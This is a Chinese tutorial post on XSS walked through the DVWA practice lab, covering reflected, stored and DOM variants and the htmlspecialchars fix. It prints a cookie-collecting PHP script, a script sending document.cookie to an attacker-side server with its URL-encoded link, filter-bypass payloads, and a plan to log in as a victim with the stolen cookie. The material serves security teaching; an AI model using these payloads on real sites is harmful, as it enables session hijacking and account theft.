Web渗透_XSS




XSS

(Cross-site scripting: 跨站脚本攻击)



1. XSS有三种类型:反射型XSS、存储型XSS、DOM型XSS。

2. XSS攻击前,被害人一定是已经登录了目标站点,XSS的目的就是获取cookie,其他的具体危险操作需要hacker自己进行;

     而CSRF只是利用了被害人成功登陆的身份,在用户不知情的状况下做某些事情,比如发帖、修改自己的个性签名等。

① XSS的本质在于所提交的参数中包含的<script>脚本代码能被执行。

② XSS可以用来盗取用户cookie、模拟用户发送get/post请求、破坏页面的正常结构,插入广告等恶意内容。

③ XSS是用被害人的手来进行操作的。

④ XSS不是弹窗,弹窗只是测试OK? alert()肯定是要换成其他恶意代码,比如<script src="js_url"></script>,让网站加载js代码。

如:

happysneaker.com






反射型XSS(Reflected)



反射型XSS是一次插入恶意代码后,下次访问,你插入的代码就没了,自己思考一下实际场景;

存储型XSS是一次插入恶意代码后,插入的代码被保存到了数据库中,比如留言板、发帖社区等等。



打开Low等级的XSS界面:
happysneaker.com


step①

试一下能不能弹窗,输入<script>alert("HEllo")</script>,结果成功弹出窗口,说明提交的<script>代码能被执行,存在反射型XSS

happysneaker.com


要知道JS有三个可以弹窗的函数,注意如下窗口区别,可以都试一试:

happysneaker.com


step②

上面确定了存在XSS注入点,那么攻击思路也就有了:


场景想盗取被害人的B站信息然后进行其他操作(获取信息、改密、交易等等),那么目标是先以被害人的身份登录B站:


1-首先攻击者需要构造一个自己的Web服务器地址,比如 Ip/cookie.php , 因为是在本地演示,所以就是 127.0.0.1/cookie.php ,用cookit.txt 来接收受害人点击我们提供的危险连接之后B站的响应头。cookie.php代码如下,cookie.php需要攻击者上传到自己的服务器上,phpstudy的根目录下的www就是本地的根目录:

<?php      
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

happysneaker.com

happysneaker.com




2-构造带有XSS脚本,然后可以构造带有此XSS脚本的B站链接发送给受害人:

<script>
document.location='http://127.0.0.1/cookie.php?cookie= '+document.cookie;
</script>


因为是网站的name参数存在XSS,所以要把XSS脚本放到name参数上,URL为:

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie= '+document.cookie;</script>


这里还不行,这样的链接肯定不会成功,还得经过 URL编码,才能成为一个可食用的URL(有很多URLencode工具可用):

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3cscript%3edocument.location%3d%27http%3a%2f%2f127.0.0.1%2fcookie.php%3fcookie%3d+%27%2bdocument.cookie%3b%3c%2fscript%3e


happysneaker.com


3-等待被害人点击危险链接,点击后我们即可登录自己的服务器查看cookie.txt文件是否接收到了内容。我们以被害人的身份点击链接,然后发现成功:

happysneaker.comhappysneaker.com


四、接收到被害人的cookie,我们进行正常登录B站。打开登录地址,发送cookie,然后直接访问网站首页,登录成功。



然后看Medium等级的,发现输入<script>不行,后台过滤了<script>标签:

方法一:可能只过滤了一次<script>标签,试试嵌套,成功:

happysneaker.com

方法二:试试标签大小写混合,比如<ScRipt>alert("Hi")</script>,也成功。




看High等级:

Medium等级的两种方法都失败,Low等级的更不行。能插入JS代码的并不只有<scirpt>,其实<img>和<iframe>标签也可以插入JS代码:

<img src=x onerror=alert("hello")>  或者 <iframe onload=alert(1)>  :

happysneaker.com

这说明后台只对<script>标签进行了过滤,而且没有针对大小写过滤。



       当然以上的方法是通过被害人执行了操作,但是XSS是可以黑客比如说在留言板的地方插入了恶意代码(比如加载恶意js脚本的链接src)之后,其他用户或者管理员访问这一篇帖子时,会全部中招。这才是正规的攻击思路。





最后看impossible等级:

impossible等级无法进行XSS,看源码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input  ,这个函数是关键的,他可以对五种字符进行转码,但是默认对单引号不编码
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>
关键在于 htmlspecialchars( $_GET[ 'name' ] )
此函数对用户输入进行特殊字符编码,如下五种,但默认对单引号不管,单引号需要用ENT_QUOTES参数单独设置。


happysneaker.com




XSS漏洞修复方法:


happysneaker.com

happysneaker.com







存储型XSS(stored)


happysneaker.com

多见于留言板之类。


第一个问题,限制了输入字数,这就意味着在构造脚本的时候会受到限制,分别是10、50个字符:

happysneaker.com


但是得考虑这是前端限制还是服务端限制,前端限制的话可以用发包软件进行字数修改:

happysneaker.com

happysneaker.com

happysneaker.com

果然是前端进行了限制,其他的剩下的攻击方式就和反射型XSS一样了,存储型XSS的唯一区别是存储在了服务器的数据库里。

可以总结存储型XSS漏洞的产生往往是因为没有在服务器端对用户的输入进行限制,而只是在前端进行了限制。







DOM型XSS

dom xss并不复杂,他也属于反射型xss的一种,简单去理解就是因为他输出点在DOM,所以在道哥的《白帽子讲Web安全里》也有详细介绍。dom - xss是通过url传入参数去控制触发的。

DOM型XSS严格来说应该归属到反射型XSS,因为它并没有将恶意代码存储到数据库内。DOM XSS是基于文档对象模型(Document Object Model)的一种xss。


栗子:

稍微构造了一下Payload: </title><script>alert(1)</script>

先用</title>标签闭合了之前的标题,然后插入了一段<script>代码,这里有一个技巧

就是<script>alert(1)</script>这段代码输出在<body>节点下和输出在<head>节点下都是可以正常弹出窗口的

成功弹出了窗口,说明我们的XSS挖掘成功,但不是最初测试的反射型XSS,因为这里我们重新构造了一个节点,所以已经属于DOM型XSS的范围


https://bbs.ichunqiu.com/thread-18129-1-1.html









推荐阅读: https://www.jianshu.com/p/75a3d9332b8c




Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论